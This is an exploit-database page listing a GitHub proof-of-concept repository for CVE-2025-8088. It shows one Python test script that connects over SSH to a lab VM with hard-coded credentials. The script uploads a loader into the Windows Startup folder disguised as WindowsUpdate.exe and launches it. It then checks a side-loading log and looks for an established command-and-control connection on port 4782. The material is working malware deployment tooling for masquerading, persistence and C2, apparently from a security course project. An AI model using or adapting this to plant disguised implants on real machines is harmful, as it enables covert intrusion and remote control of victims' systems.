Exploit database

GH-9d8bf7b89f407a0fff790750df76b5d3

lewis-ricardo/amaranth-project

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-8088

19 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files94
lewis-ricardo/amaranth-projectRevision 0a4aa5d06cfd
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

side-load/_test_run.py

Python · 1,531 bytes
import paramiko, time

VM, USER, PASS = '192.168.30.136', 'lewis', 'lewis123'
STARTUP = r'C:\Users\lewis\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(VM, username=USER, password=PASS)

# Clean state
ssh.exec_command('taskkill /f /im WindowsUpdate.exe 2>nul')
ssh.exec_command('taskkill /f /im client_loaded.exe 2>nul')
time.sleep(1)
ssh.exec_command('del "%TEMP%\\sxs_debug.log" 2>nul')

# Upload
sftp = ssh.open_sftp()
sftp.put(r'D:\Desktop\网安程设\Amaranth_Project\side-load\loader.exe', STARTUP + '\\WindowsUpdate.exe')
sftp.close()
print('[+] Uploaded')

# Run
ssh.exec_command('"' + STARTUP + '\\WindowsUpdate.exe"')
print('[+] Launched, waiting 20s...')
time.sleep(20)

# Check log
stdin, stdout, stderr = ssh.exec_command(
    'if exist "%TEMP%\\sxs_debug.log" (type "%TEMP%\\sxs_debug.log") else (echo NO_LOG)'
)
log = stdout.read().decode('gbk', errors='replace')
print('=== Log ===')
print(log[:2000])

# Check process
stdin, stdout, stderr = ssh.exec_command('tasklist /FI "IMAGENAME eq client_loaded.exe"')
print('=== client_loaded.exe ===')
print(stdout.read().decode('gbk', errors='replace'))

# Check C2
stdin, stdout, stderr = ssh.exec_command('netstat -ano | findstr ":4782"', timeout=5)
c2 = stdout.read().decode('gbk', errors='replace')
print('=== C2 Connection ===')
print(c2[:500])
if 'ESTABLISHED' in c2:
    print('*** C2 CONNECTED ***')
else:
    print('No C2 connection')

ssh.close()